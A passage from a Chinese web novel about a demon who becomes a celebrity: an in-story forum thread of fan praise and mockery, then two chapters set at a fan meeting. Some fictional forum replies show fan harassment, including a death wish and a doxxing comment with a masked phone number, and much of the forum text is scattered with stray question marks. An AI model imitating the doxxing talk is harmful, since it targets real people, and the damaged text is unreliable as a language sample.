→[标题:【抽奖】外面战火飞扬, 我将继续安利这个横空出?世的天才?明星] [主楼:你或许不知道她的名字,但你一定看过?这个视频(某音截图),目前已经?超过?千万,如果不是限流还能再涨, 被人搬到外网直接超过?十万转,那段时?间某音趋势第一,封顶热搜第一, 所有人都在问她是谁。 她是谁? 她就是今天的安利对?象,栾水冬,姓栾名水冬,2000年2月10日出?生, 水瓶座,演员、歌手……是个什么都会?的超级大宝藏,最近的MBTI是INFP,之前有测过?ESTP, 但因为还小所以一直在变, 时?而i时?而e, 最近才?稳定下来, 是个拥有强烈共情能力的人格类型,是我认为最符合描述她,最贴近她的人格类型。 她就是这么一个复杂的、又让人轻而易举看懂的人。 和外面的腥风血雨无关, 放下成见和刻板印象,让我们从头认识独一无二?的栾水冬。 1.演员 首先是短剧。 大家第一次认识她都是从某音的短剧截取片段里,只是一个片段就直接火爆全?网,很多人去看了原片才?发现是个烂俗的打脸爽剧,但家冬实在争气,第一次出?演短剧就出?名了,只可惜后?面编剧不做人,竟然一次也不让妹妹露脸,浪费了家冬的人气,后?面电影预告出?来才?平息怒火…… 然后?是电影,家冬目前正经?演过?的电影只有一部。 2020年10月,家冬正式以演员的身份出?道,出?演了杜亦寒导演的文艺片《金鱼》,获得柏林国际电影节“金熊奖”提名,惜败当时?的某业内大佬制作?,但是电影同时?获得三大提名,家冬也荣幸得到了最佳女演员的提名,作?为业内新人,完全?称得上是天才?。 《金鱼》这部电影不用多说,从各个方面展示了家冬的独特气质,贴主作?为一个完全?不看文艺片的人,竟然挨过?两?个班小时?,眼睛没有从屏幕上移走。 [截图][截图][截图][截图] 当时?导演采访也说到了选角的重要?性,如果没有家冬,就没有这部作?品,导演后?来称家冬为灵感缪斯,希望再次合作?,绝对?不是洗脑包里说的资本预定,而是真正地命运抉择。 [导演采访内容] [问:那么在选角上面,为什么要?毅然决然选择一个完全?的业内新人,她身上有什么吸引到你的气质吗?] [杜亦寒:第一眼看到她的时?候,我就在想我的女主角就是这种人啊。 《金鱼》剧本是我和朋友一起打磨的,当时?我们讨论了很久关于女主角这个人物的特殊性,她是个出?生在孤野、被狼养大的孩子,身上有一定的野性,挣扎在人与兽之间,完全?独特的气质。 因为不懂人类世界,所以既是天真的,也是残酷的,要?完美?适配这个角色就要?有一张同样冷酷天真的脸,是在肮脏的残肢断腿里能让觉得纯洁的存在,她拿起刀的时?候,会?让你在感到危险的同时?,忍不住想要?跪下,擦干净她脚面上的血迹,心甘情愿地被捅一刀。 我记得有一幕在医院里拍摄的时?候,背景全?是血,泥点子一样到处飞溅,然后?栾水冬光着脚站在地上,那个时?候,我听到旁边的工作?人员在说就算被她杀死也可以。 我追求的就是这种感觉,一种心甘情愿想要死在她手里的感觉。 事后其他演员的精神恍惚,对?戏的时?候一直不在状态,栾水冬一伸手,他们就往后?躲,但是两?条腿还站在原地,真就觉得她是剧本里的主角。 对?我来说,电影的画面表现非常重要?,如果没有我想要?的效果,那电影就绝对?不会?开拍,所以在遇到她之后?,我的人选就已经定了,不是她就不行。 业内新人也不是大事,相处的时?候我才?发现她的性格也和剧本主角大差不差,直接本色出?演就行] (ps:最后?一句话导演有补充说明,并不是完全?说家冬是“白眼狼”,而是说她身上有那种气质,性格和主角一样纯洁,大差不差是表明她的纯洁,而不是讽刺她的自私,请黑粉明白,世界上有性格多样的人!) 之后?家冬就没有当过?主角,总是以客串的形式出?演,在《危情绝境》《极速醉杀:一个人的生死谜团》《独宠》等等电影里都有出?镜,演技在线,每次出?镜就是出?圈,在某书某音引发大规模讨论。 2.歌手 当初演短剧的时?候,家冬一段唱歌片段直接爆火,后?面又在荆应的演唱会?上被选中,非常幸运地一起合唱,凭借优秀的唱功和毫不逊色的音色再次火了,之后?才?有的演员出?道。 2020年12月正式发布专辑《冬》,收录12首歌曲,其中《雪花》一首歌在某音大爆,演唱会?表演片段在某音某字母站达成千万播放。 发出?专辑时?,刚开始很多人想嘲,结果最后?都被家冬的实力打败,全?专无废曲,在字母站的音乐测评博主那里广受好?评,在丝毫没有外宣的情况下获得了今年最佳专辑的评价。 奈何国内的音乐行业已经?是死水,所以没有任何奖项,但热度是实打实的,还在隔壁国家火了好?久,霸占榜单几个月,得到了外网音乐杂志的重点介绍,加上当时?电影的热度,第一张专辑就破了百万,成功突破了历史。 之后?发布的专辑每一个都是神专。 2021年《欢乐园》获得年度最佳专辑,2022年《路灯》获得年度最佳专辑加上海外奖项提名,2023年《海》获得年度最佳专辑、滚石最佳专辑、Pitchfork评分9.5以及格莱美?的提名。 短短四年里,从刚出?道的歌手到登顶,每一项荣誉都证明了,在歌手这条路上,家冬是上天赏饭吃的,无论做什么都会?成功,身为歌手,她从来没有懈怠过?,每年全?球巡演,让粉丝们永远不会?失望。 我个人最喜欢的专辑是《欢乐园》,12首基调欢乐,但又带着淡淡的忧伤,特别适合在工作?的时?候听,我印象很深的是身为路人的同事听完说想到了前任,还听哭了,那天晚上,我播放音乐的同一个瞬间,家冬发了动态。 那个时?候,我就决定要?当她一辈子的粉丝。 如果一个人能在听过?她的歌、看过?她的台词后?还觉得她是个浅薄的人,那么我只能说你可以从地球退出?了,真正浅薄的只有屏幕前的人。 3.性格 刚开始说了家冬变化截然不同的MBTI,就能表现出?她是个独特的人,刚开始很多人不喜欢家冬,某书沸沸扬扬几百个黑贴,全?是说她没礼貌,目中无人,之后?音乐专辑发出?后?才?逐渐好?转。 其实我也在想为什么有人会?讨厌家冬,是因为他们的眼睛和脑子有问题吗? 之后?我搞懂了,是因为与众不同,有些人就是见不惯独特的存在,尤其是艺人,刚开始大家觉得她是靠资上位的资本家的孩子,就要?更加严格一点。 在出?演《来看崭新的我吧!》综艺里,家冬只不过?是没有笑,就被说是毫无礼数,不尊重前辈,但那只是主持人一点也不好?笑,家冬的笑点比较高?,而且是个直爽的人,不爱做趋炎附势的事而已。 很多人看惯了艺人戴着面具的样子,却忘了粉丝到底是被什么吸引,追的是一个虚假的面具,而家冬,从来不会?演。 家冬身上没有丝毫“被驯化”的特质,她想做什么就做什么,是个坦诚到透明的孩子,这样的人,喜欢的人会?特别喜欢,讨厌的人也会?特别讨厌,因为他们看不惯世界上有如此恣意?的人。 在黑粉的眼睛里,家冬自私自利,是个冷血怪物,但实际上家冬特别地柔软,对?于粉丝尤其是,一闲下来就开粉丝见面会?,从来不给自己休息的时?间,而且是免费的,对?,她就是如此纯粹的人,即便是黑粉再怎么黑,也无法改变她的真挚。 她喜欢新奇的事物,喜欢吃高?质量的食物,其实也是个喜欢宅在家里的人,大多数时?候,能不动她就不会?动,精力很快就会?耗尽,成为待机的小人机,但遇到新奇的事物时?,她的精力是无限的,对?于粉丝也是如此,所以才?能坚持每个月都开粉丝见面会?。 每次上综艺,都会?让我有新的体会?。 在《来看崭新的我吧!》里,她是反应迟钝、直白的、误入娱乐圈大染缸的雪花,在《今天吃什么饭》里,她是乖巧的、珍惜前辈苦心的真挚后?辈,在《逃脱者》里,她是迷糊的小人机。 我可能不是世界上离她最近的人,但我一定是那个最爱她、最了解她的人。 她的爱总是在不经?意?间显示出?,比方某次上综艺,面对?主持人关于最喜欢的食物的提问,她毫不犹豫地选择了小美?团们,然后?在多次的采访里,只要?涉及到最欢的,她绝对?会?说是小美?团们。 所以黑粉的黑料完全?就是笑话,像这样一个时?时?刻刻记住粉丝,自费开粉丝见面会?的人,她会?是冷酷无情的精致利己主义?者吗? 家冬的优点数不尽列不完,她有才?华,有颜值,有一颗对?粉丝无私的心,绝对?不是黑粉口里的洗脑包能够说明的。 如果你还在因为要?不要?入股犹豫不决,那么我希望这个帖子给了你答案。 最后?美?图镇楼。 [照片][照片][照片][照片][照片] ] 7L 董事来了,我们在李涛什么,你在说什么,牛头不对?马嘴 >7L 一听到李涛,董事们全?都疯了 8L 看得我肚肚痛,谁懂最后?写的小美?团的救赎感,谁会?给粉丝取名叫美?团啊,美?团竟然不告侵权 >8L 还不如黑称董事好?听 >8L 一个苹果人,一个安卓人 9L 前面的不评价,后?面的性格描写,我真想问了,董事滤镜比我一千度眼镜还厚吧,谁懂姐什么时?候变成藏着爱的人了? >9L 前面为啥不评价,客串能表现什么演技,唱歌真的来过?麦吗?每次都站桩唱歌,实力永远成谜 >9L 别闹了,你去看过?演唱会?吗? >9L 没看就不能评价了?我电影全?看了专辑全?买了为什么不能评价 >9L 买不到票的穷货 10L 还有开粉丝见面会?,谁家一个月开四场见面会?,我看谁懂姐是想噶韭菜,董事还以为被爱了,老了来找我领保健品好?吗 >10L 但是她真的免费开过?啊 >10L 免费给老粉丝,那群钱多得打水漂的有钱人 11L 别的不说,谁懂姐真的无黑图啊,哪里做的项目脸这么紧 >11L 采访说是冷风吹的 >11L 冷笑话吗,我没有笑 12L 谁懂姐的奇葩有无人懂,她的定位到底是演员、歌手还是偶像?没见过?比她爱客串的演员,也没见过?比她还吃相难看,爱圈钱的歌手,也没见过?这种这晃一下那晃一下的偶像,一个人在老中拥有三重身份,算得上半个大冰 >12L 你忘了她还是电子宠物吗?没见过?把微博当朋友圈发的明星 13L MBTI谁信了,谁懂姐用脚填的吧,董事们还当宝使劲闻 >13L 谁懂姐的脚感觉是香的 >13L 足控滚 14L 接她的事业运 15L 看下来只觉得她活得好?顺利,事业运咋能好?成这样…… >15L 当演员有杜亦寒捧,当歌手有大批的制作?者选,之前不是说她制作?一张专辑要?花费上千万吗…… >15L 之前有内部人员扒音乐公司的合作?,说她的合同和别人都不是一个等级,在行业里想给她做歌的人赶着上,因为一次就能赚得流油 16L 回归主题吧,我们要?扒的是谁懂姐的背景,不是董事们的安利贴,搞得像深柜一样,来点黑料补充好?吗? >16L 假笑营业,不在乎粉丝,给前辈甩脸色,综艺摆烂,记不住前辈的名字,还有疑似自闭症…… >16L 说点我们不知道的行吗 17L 都怪董事,我又把《金鱼》看了一遍 >17L 我懂…… >17L 董事们别演了 18L 董事们像蟑螂潜伏着…… >18L 独有一份的虫系粉丝 19L 前几天看到谁懂姐大粉发疯,完全?是疯子,她的粉丝毒性特别强,简直是内娱独一档,毒唯含量百分之八十 >19L 没那么少,也不知道为什么谁懂姐吸毒唯 >19L 最开始谁懂姐的工作?室完全?不管粉圈,因为没有物料,也没有任何消息,只有营销号满天飞,还以为她要?去开直播当网红,刚开始粉上的事业粉被整得立马爬墙,最后?只剩下一群散粉,然后?电影一出?,像这种伪邪典气质的文艺片最招小众人士,所以散粉直接变异了 里面也有大粉的领头作?用,谁懂姐的梦女梦男粉贼多,十个大粉,八个是梦女梦男,剩下两?个,一个辱追,另一个是事业粉 梦女梦男粉完全?不会?接受任何黑评,而且粘性极强,还没虐粉就变成毒唯的,我就见过?他们一家 20L 谁懂姐有辱追粉?其他毒唯没冲烂吗? >20L 冲不掉,那个粉丝我都知道,曾经?被骂上热搜,开。盒怎么也开不出?来,到现在还好?好?地待着呢 >20L 能变成大粉,感觉是有受众的 >20L 梦的时?候有恨很正常 21L 我怀疑董事看贴看爽了,为什么还没有涛谁懂姐的背景……之前不是爆出?很多黑料吗?我记得有去夜店…… >21L 已澄清 >21L 我踩到蟑螂了 22L 去夜店的事我记得之前是某个梦男粉发出?来的,等我翻翻截图 23L 蹲 24L 蹲 …… 45L 找到了 (微博截图) [我们相遇的那个冬天V:我真的破防了,知道永远不可能触碰到你的时?候我都没有现在破防,你为什么会?去夜店,和其他男人呼吸同一片空气,一想到会?有男人吸入你吐出?的二?氧化碳我就想哭……不要?再走弯路了……只有小美?团们不行吗? (图片)(图片)(图片) 评论: 大割快滚,不会?注销账号就直接注销你这条猪命(点赞2431) 已盒,电话xxxxxxxxxx,美?团们帮忙点一下(点赞1642) 你真的爱她吗?别把我气笑了,去趟夜店又怎么了?我都没说什么,你算老几,赶紧退圈!!(点赞888) ] 46L 开。盒暴击,这位大粉应该粉转黑回踩了吧 >46L 并没有,灰溜溜消号重来了,现在叫:我还是走不出?那个冬天 47L 捂得好?严实,完全?没听说过? >47L 还有见面会?挑衅粉丝呢,粉丝说你是不是谈恋爱了?她还点头,事后?公关说是熬夜脑子不清醒 48L 那群蟑螂还在围观,这个帖子命不久矣 49L 冲就冲呗,全?世界都应该看到栾水冬的嘴脸,她压根就不是粉丝心里纯洁无暇的模样,她压根不爱任何人!粉丝也是!谁都是!! >49L 这不是脱粉回踩bot 50L 楼上的id好?眼熟 >50L 全?网统一id的骨灰级黑粉 >50L 他也走不出?去那个冬天了 51L 为什么谁懂姐资源这么好?,到现在都没人说她有靠山的事…… >51L 我靠你说出?来了! >51L 把身份证捂紧了! 52L 最开始她刚当演员的时?候不就有人说吗,被粉丝搅浑水一直带偏,最近才?重新冒出?风声,但我觉得也留不久……反正一会?帖子就消失了 53L 谁啊,求告知,到底要?多少钱能让她依靠 >53L 董事能滚不 >53L 我只是路人 54L 董事一碰到谁懂姐,智商就会?变成零,不知道还以为遇到了智障 >54L 你主页里怎么藏着谁懂姐,你到底是谁 55L 上次有人扒到了,但是我没截屏,刚出?来几秒就被删贴 >55L 真的有吗? >55L 真有,我记得那个人很厉害来着,但是一时?半会?想不起来,好?像姓霍…… 56L 姓霍的有谁?能到这个地步应该很有名才?对?吧 >56L 越有钱越不想出?名 >56L 总有人知道吧 57L 与其仓皇的追赶日落,不如静待满天繁星等风来,不如追风去 58L 把宇宙的星辰和月光,都摘下来放进你的口袋里 59L 保持对?生活的爱和热忱,把每天都活得热气腾腾记忆的梗上,谁不有两?三朵娉婷,披着情绪的花 …… 157L 董事蟑螂大军到了 158L 既然你们都到了,那我就直说了,栾水冬有个稳定多年的男友,到现在已经?五年了,她骗了你们,她一直有其他的人,现在醒过?来还不迟! >158L 别一直说话,你倒是放图啊! >158L 真以为我不敢吗(图片)(图片) 159L 蟑螂们终于停下来了 >159L 并非停下 160L 呃……图里的是谁? >160L 应该是他本人的合成照片…… >160L 董事们我服了,搞了这一出?到底想干嘛 161L 真的好?烦啊,我压根不想看到这个女的,每次打开任何软件都是她,你们能别出?现在我面前了吗,真的好?烦啊…… >161L 我服了董事还在演 >161L 谁跟你演了 162L 黑子们继续闹,明天家冬又开粉丝见面会?,就是这么宠粉,气不死你们! >162L 她能记住你名字吗你就去 >162L 比买不起票的穷屌好? 163L 终于明白了欲戴皇冠必承其重这句话,冬无论做什么都是错的,笑是错的,不笑是错的,忽然开始庆幸家冬的不谙世事,无论你们做什么也伤害不到她 >163L 求董事别闹了,哪来的皇冠 164L 帖子保不住了,我先跑 165L 我也跑了…… 166L 我已经?搞不懂谁是董事了,感觉无处不在 [此贴已被封禁]—— 作者有话说:窝太困了……明天再修文…… 第72章 命运是个神奇东西?。 比方说我当明星了, 有朝一日从穷人直接跨越阶级,无痛入住大House,每天从价值百万的海丝腾床垫上醒来,吃的喝的都是山珍海味, 出行座驾从不小?于七位数, 真?正做到了人类梦寐以求的奢侈生?活。 此时, 看着外面乌压压一片涌动着的粉丝人潮,我在心里感慨着:命运啊,我真?是谢谢你——! 成?为?明星的第五年?,我终于慢腾腾地摸清了新的食物?。 那就是由粉丝们的崇拜和喜爱凝结而成?的感情, 这种养分比单纯的爱意更加醇厚迷人,每一次进食都足以让我消化许久,再也不需要每日摄取。 第一年?, 我几乎没清醒过,吃一顿晕一顿。 第三年?,我半醒半睡,每天都像在梦游。 第五年?, 我从原本的吃一次醉好?几天,到现在逐渐拥有抵抗力,适应力以龟速提高,到最近终于完全适应。 我再也不会宿醉了! 还有个重大好?消息。 我的恶魔躯体修复进度感人, 在时空裂缝里逐渐成?型, 已经成?功修复完四肢, 就差躯干部?分了。 这一切都要谢谢我自己……以及些微地感谢我的赞助人, 霍亦瑀。 五年?前,他带着我离开A市来到H市,帮我搞定了公司和住房。 在半吊子地工作后, 我越来越火,已经学会如何熟练地捞钱了。 我的明星功能有两个:演戏和唱歌。 最开始演了一部?电影,我才?发现原来演戏这么累,之后只在好?玩的时候才?去客串,因为?演戏赚的钱比不上随便上台站桩假唱,所以我的主?职还是歌手。 对,朋友们说的对,还是开巡回演唱会来钱快,我的金库已经非常可观,现在可以买下两个高级私人会所。 但过去五年?,我既没有买高级会所,也没买大房子。 闲的时候和霍亦瑀住一起,工作的时候就住酒店。 最近我才?发现这个问?题,因为?忙着享受去了,竟然把这么重要的事忘得一干二净。 说起来,总觉得遗忘了许多事情……还有什么呢?记忆像是蒙着一层薄雾,怎么也想?不起来。 我难得开始动用许久未活跃的脑细胞,重新拾起作为?人类研究学家的敏锐洞察力。 被经纪人拉回座位后,我望着她日渐稀疏的发顶,忍不住发问?:“千亦,你觉不觉得我好?像忘了什么重要的事?” 车千亦眼下青黑,正埋头处理消息,虽然只负责我一个艺人,她却总是忙得不可开交。 此刻她一边将我按在化妆椅上,一边指挥着工作人员,手指在屏幕上飞舞。 听到我的话,她手指动作顿了一下:“……你又忘记带媚粉小?纸条了?” 我摇摇头,若有所思地托着下巴:“虽然确实忘了这个,但我觉得不是这件事,应该是更重要的。” 车千亦推了推眼镜,终于抬起头仔细打?量我,目光犀利:“别告诉我,你又未经同意在官方账号上炫富了。” “当然没有。” 我叹了口?气:“最近没什么值得炫耀的新收获。” 作为?一个有格调的恶魔,我向来坚持有了新宝贝才?炫耀的原则!最近心心念念的是私人飞机,在得手之前,我绝不会轻易发动态! 官方账号通常由车千亦打?理,主?要发布些自拍照片,如果不定期更新,粉丝们就会集体抗议,没有我本人发动态时那么捧场。 之前还有人觉得我的账号被人盗了,强烈要求工作室确认账号的正常性。 粉丝也是一种值得研究的群体,他们时常认为?我受到了迫害,莫名其妙地举行了多次维权行动。 车千亦皱眉思索片刻,接过助理递来的胸针为?我别上,忽然压低声音凑近我耳边:“该不会是……和那位有关?” “你们吵架了?” 我:“不是。” 霍亦瑀怎么可能和我吵架?无论我提出什么要求,他都会爽快答应。 记忆中?他从未对我生?过气,永远带着笑,平时见?面的时间?虽然少,但每次都会黏着我,像个口?香糖一样怎么也扯不开。 我遗忘的事肯定和他无关,还没到买私人飞机的时候,还用不上他。 应该是其他被掩埋的片段。 她的眉头舒展,仔细调整着我胸前的别针,满意地点点头,紧接着又低下头看手机,顺手扶了下眼镜。 “那就不是急事。既然想不起来,说明时候未到。” 五年?里,车千亦和我待在的时间比霍亦瑀还长,最开始她还会偶尔崩溃一下,现在已经变成?老油条了,脸色永远在憔悴和厌世之间?徘徊,休假的时候才会露出活过来的表情。 仔细看看,她的班味比我还重。 车千亦雷厉风行地安排好?一切,终于缓了口?气,轻拍了下我的肩膀:“你该出去了。” “粉丝们在等你。” 在离开前,我看向镜子里的人。 黑发女子与我对视,从头到脚熠熠生?辉,完美得如同精修过的海报。 让我无比熟悉,又有点陌生?的脸。 那股遗忘了什么的感觉再次涌上心头,萦绕在胸口?。 我一边思考着,一边走出休息室,踏入粉丝们的视线范围里。 “冬冬!” “小?冬!看这里!” “老婆啊啊啊啊嗷嗷嗷嗷嗷!” 狂热的呼喊如潮水般涌来,打?断了我的思绪。原本姿态各异的、在各处的粉丝瞬间?躁动起来,激动地挥舞着应援扇,脸颊泛红,仿佛随时要冲破警戒线。 喧嚣持续了片刻,直到主?持人出面维持秩序。 我在场地正前方的桌后落座,百无聊赖地转着笔,目光缓缓扫过台下每一张面孔。 有些很眼熟,有些则十分陌生?,大概是新入坑的粉丝。 无形的情感能量汇聚成?海洋,源源不断地向我涌来。 所以说车千亦至少建议我减少见?面会,委婉地说什么太频繁会有问?题的,完全是多虑了! 这一次,强烈的情感冲击对我的影响愈发微弱,我终于能够保持清醒的头脑,仔细观察每一个人。 第一个走到台前的是个穿着蓬蓬裙的女生?,打?扮得像个精致的翻糖蛋糕,她激动得双颊绯红,在工作人员引导下入座。 旁边的沙漏开始倒计时,她身体前倾,全心全意地注视着我,声音微微发颤:“冬、小?冬,这是、这是我第二次来了……你还记得我吗?” “当然记得。” “真?的吗?”她的眼睛瞬间?亮了起来,忍不住发出一声小?小?的惊呼,将手伸到我面前,满怀期待地问?,“那、那可以握手吗?” 她的手心干净柔软,因紧张而微微发汗,握住上去时,能感受到她温热的体温和轻微的颤抖。 女生?的呼吸明显急促起来,紧紧回握住我的手,然后开始背诵早已准备好?的告白。 我专注地凝视着她,耐心听完每一个字,在桌上的周边上签下名字,目送她依依不舍地离开。 大多数粉丝都会提前准备好?要说的话,由于单独交流的时间?只有三分钟,他们通常一口?气说完就刚好?到时间?,不需要我额外表演。 也有会准备互动的粉丝,但之前因为?捧脸的动作引发了争论,所以现在粉丝们一般不会做这种事,大概是约定俗成?,不允许做过于近距离的事。 车千亦说是因为?梦女梦男粉太多了。 桌上的沙漏不停翻身,人一个接一个上台。 今天也是一样,粉丝们激动地说了一大段话。 我认真?地倾听,但那些话语如同流水般从我的大脑皮层流淌而去,没有留下任何痕迹。 就算有人在说什么讨厌我之类的话,我也认真?地点头赞同。 毕竟人太多了。 每个人都有很多话要讲,一个房间?里有几百只手,挨个握一遍要花费不少时间?。 如果是握手指的话,时间?会乘以十。 但像这种握握手、听一段话的活动,一场下来赚的钱非常可观。 一个人的话,大概需要几千,分为?不同的类型收钱,最高的话是五千,加上周边售卖,一场下来能赚接近百万。 一个月四场,就是四百多万。 难怪网上说我恰烂钱。 所以,为?了防止名声变烂,必须定期几个月开个免费的,抽取幸运粉丝来参加活动。 哇塞,久违地进行算数活动后,我又发现了自己一个优点,我真?的特别会赚钱啊! 等再存点钱,就去买私人飞机吧。 我开始默数握过的手。座位上的粉丝们举着相机,不时呼唤我看向镜头。 宽厚的手,纤细的手,白皙的手,黝黑的手……每双手都诉说着不同的人生?故事。 激动而混杂的气息在空气中?弥漫,如同一个大型香水工坊,融合着各式各样的情感。 当这些情感交融在一起,便形成?了另一种全新的形态。 集体情感比个人情感更加汹涌澎湃,它将所有负面、酸涩的情绪过滤,统一成?单一的味道,像是经过精心调制的配方,千篇一律。 我咂咂嘴,忽然尝到一丝熟悉的味道。 上一位粉丝抹着眼泪离开,下一个上台的是个戴着口?罩和鸭舌帽的男人,帽檐压得很低,看不清神情。 由于经常视察饭圈,我很清楚粉丝的性别比例:女粉占七成?,男粉三成?。 粉丝群体其实可以筛选。 若我表现出对某类人的厌恶,他们自然会离开。 凭借这个方式,我成?功筛选掉大批令人不快的男性粉丝,只留下些有受虐倾向、怎么也不愿意走的男人。 简称m。 等等,怎么又是m。 难不成?我是s圣体,自带吸引m的属性? 说到m…… 脑海中?忽然闪过一张脸,一张布满泪痕、写满痛苦的脸。 但那个碎片转瞬即逝,面前戴口?罩的男人已经握住我的手,没有台词也没有前奏,直接完成?了这个动作。 “……” 他低着头,帽檐遮住了眼睛,似乎不打?算说任何准备好?的台词,就这么任由金钱流逝。 我懂了。 这是第一次来的。 于是我开始说词:“嗨喽嗨喽,这位美团儿是第一次来吗?以前没见?过呢,如果见?过的话,我肯定忘不了你。” 美团是我给?粉丝们取的名。 既贴切地描述了他们的功能,又带着几分冷幽默。 可惜除了我,没人懂这份幽默。 看不清脸的粉丝闷笑一声,不轻不重地捏了捏我的手,经过口?罩过滤的声音传来:“真?伤心啊,我们可见?过好?多次面了。” “如果不记得我的话,可以把五千块还给?我吗?我很缺钱诶。” 这语气越听越耳熟。 这位粉丝看上去格外有氛围感,是网上经常被使用的照片类型,肩宽腰窄,今天穿了一身休闲打?扮的卫衣外套,像个外出的大学生?。 大学生?是一种气质,指看上去单纯好?骗的人。 不过,像这种单纯好?骗的人,我真?的认识吗? 我不由眯起眼睛,努力在他身上寻找熟悉的痕迹。 最终,我的视线定格在从他帽檐下溜出的几缕卷发上,还有那若隐若现的、独特的可乐般清爽又刺激的气息…… 卷发加可乐……就决定是你了! ——邛浚! 当想?起名字的那一刻,我的大脑彻底通畅,仿佛堵了五年?的下水道彻底通开,思维再也不受阻滞。 周围混杂的气息迅速退去,熟悉的、带着气泡刺激感的可乐味扑面而来。 我眨了眨眼睛,终于想?自己忘记了什么。 哥哥。 在惯性消失后,我忘记回去接他了—— 作者有话说:满血复活!吃得太饱的冬子终于想起哥了,但哥已经是钮钴禄黑化版[眼镜],后面先整新的男嘉宾再搞其他人,数了数,本篇文的男配竟然有十个,太多了……真的太多了! 等会修下论坛体(扭) 第73章 惯性消失得太?快, 连痕迹也没有留下。 本该有一段缓冲的过程,此刻却像迟来的潮水,猛地拍打在我的意识海岸上。 所以,哥哥呢? 做了约定就一定会执行是我作为恶魔的准则。 虽然说在人类口中恶魔都是品行败坏的家伙, 实际上……也确实如此!没几个人能遵守, 大家的底线都十分地灵活。 不过对我来说, 原则是很重要的,我可是恶魔里的少数派。 而且——我现在完全?没有重要的事嘛! 想起来就遵守一下也是我的准则。 我眨了眨眼,用力想抽回手,但邛浚握得很紧。 五年过去?, 他?变得比以前强壮不少,显然是蛋白粉吃多了,日子过得不错。 “要钱没有, 哪有买票还让明星本人退的道理,你自己上网投诉吧。” “哎呀。”那熟悉的口头禅慢悠悠地响起。 他?蒙着脸,看不清具体模样,但终于抬起头, 露出了那双我再?熟悉不过的、瞳仁偏大的黑眸。 此刻,这双圆钝的眼睛正一瞬不瞬地盯着我,随即轻轻眯了一下。 他?笑道:“这么笃定我不会发到网上?果然是好朋友呢,过了五年还这么了解我, 真?怀念以前的时光啊……说到时光, 有些人可真?够冷酷的, 一条消息都不回。” “如果不来找你的话, 肯定都不会想起我吧。” 邛浚佯装可怜叹了口气。 手机。对哦,我早就换了手机。 刚H市时,我的手机和?住所一并更新了, 当时还想着稍后再?转移联系人数据,结果一拖就拖到了现在,旧手机也不知被我丢到了哪个角落。 拖延症一拖就是五年,像我这种记不住电话号的,该怎么联系哥哥? 难不成就这样消失在茫茫人海中? 新奇的、不可思?议的感觉涌上心头。 原来人真?的会转眼就消失不见,他?应该像影子一样跟随我一辈子,无论我走向何?方,一回头,他?总会在原地等我才对。 他?会站在原地等我,这对我而言,就像冬天会冷、夏天会热一样,是毋庸置疑的自然规律。 是惯性吗? 像是发现了想穿的袜子突然不见的怅然若失。 在我愣神的间隙,邛浚不轻不重地捏了下我的手。 “别走神啊,这三?分钟可是很珍贵的。” 手心被人轻轻挠了一下,力道很轻,如同蜻蜓点水,却泛起一阵细微的痒意。 邛浚抽回手的瞬间,台下的粉丝似乎传来不满的议论声?,我下意识地握紧手心,一张被捏得微湿、带着体温的小纸片留在了那里。 大胆!竟然想私联! “刺激吧。” 他?眨了下右眼,刻意压低声?音,目光向后瞥了瞥,眼底压不住恶作剧得逞般的趣味,低声?道:“不要丢哦,说不定下次见面,我会很有用。” 铃声?作响,桌上的沙漏走到尽头,工作人员上前请人离开。 邛浚格外自在地挥挥手,潇洒地走下台。 而手心的纸条,已被我悄无声?息地蹭到了腿上,动作之熟练,丝毫没人察觉。 座无虚席的大厅里,密密麻麻的面孔如同排列整齐的棋子。然而,那个戴着帽子的身影早已消失不见。 意识到这一点,我不禁开始思?考:他?为什么会出现在我的粉丝见面会上? 还有,他?那句话究竟是什么意思?? 为什么下次见面会有用,难不成是指外卖? 可惜了,我已经是成功人士,完全?不需要点外卖! 五年过去?了,我已跻身成功人士之列,而他?,似乎还是个送外卖的。 我直白地爽了。 台下的粉丝开始一阵接一阵地躁动,如同被主人强行按在座位上、早已不耐烦的宠物,几个小时过去?,他?们的耐心显然已消耗殆尽。 待所有粉丝握手环节结束,工作人员播放了一段预先录制好的视频,在集体的掌声?和?最后的官方致辞中,这场见面会终于落下帷幕。 一回到后台,我便陷入了沉思?的漩涡,不自觉地摆出了沉思?者的姿势。 已经成为成功人士的我,还有必要继续开办粉丝见面会吗?对于食物的渴望,似乎在今天化为了灰烬,集体情?绪对我躯体的修复作用,已经微乎其微。 如果连躯干也修复完毕,我就不得不面对另一个问题了。 在享受够之前,我决定暂且推迟最终的修复。 至少,要让我玩得尽兴才行。 更重要的是,我需要找到哥哥,赶紧带他体会下有钱人的轻松生活。 一个月开四?场粉丝见面会,时间根本不够用。 那就一边玩,一边找吧。我想,反正他就在这颗星球上,总能找到的。 做出决定的第一秒,我便起身走向正与场地合作商洽谈的车千亦,愉快地宣布:“我以后不开粉丝见面会了。” “旁边有新买的游戏卡——什么?”车千亦原本打算像往常一样将我糊弄过去?,但在听清我的话后,猛地转过头。 旁边的合作商也停下话语,茫然地看着我。 “我有更重要的事要做。” 车千亦冷静地追问:“什么?” “玩。” “……” 她扶了扶眼镜,先是理智地告知合作商后续事宜会通过邮件沟通,随后镇定地拉着我,径直前往地下停车场。 直到坐进车里,四?周被黑暗彻底包裹,确保没有任何?窥视的视线后,她才长?长?喘了口气,眼神格外复杂地看向我:“你确定吗?以后都不开了?包括明天就要开售的下个月场次?” “不开了。”我摆摆手,“就说我去?忙专辑了,或者病休也行。总之,不开了。” “……你这个家伙!” 一双手突然狠狠地捏住我的脸颊,像揉捏橡皮泥一样肆意拉扯,毫不留情?,让我发出了橡皮鸭般含糊不清的声?响。 精英人士彻底疯了! 这种老实人疯起来不一般,十分钟过去?,我才成功逃离她的魔爪。 我捂着脸,好心替她扶了下乱掉的眼镜。 “你也可以放假了。”我说,“我们一起放。” 她头发散乱,喘着气,半晌后才重新恢复正常,平静地点了点头。 “好。”她说,“我要去?西伯利亚,再?也不回国了。” “真?的假的?”我惊奇地问,“你在那儿买房了?贵吗?” “开玩笑的。” 她忽然笑了起来,叹了口气,疲惫地靠进椅背,“我要回老家看爸妈了,已经快四?年没回去?。再?不回去?,就真?要成白眼狼了。” 白眼狼是个不需要任何?资格认证就能轻易获得的大众头衔。 我经常收到这样的评价。 它对赚钱毫无影响,也不会影响到我的心情?。 “那你呢,打算去?做什么?” 车千亦说:“等你想工作了,至少提前三?个月通知。” “我还没想好。” 我思?索着说:“先买架私人飞机,然后出国到处玩吧,刷到什么有趣的视频就去?哪里。” 仔细想想,和?以前的生活模式似乎也没太?大区别。 “行。”车千亦雷厉风行地接受了现实,随即拿起手机开始安排后续事宜。 低头忙活了一阵,她忽然说:“你告诉那位了吗?” 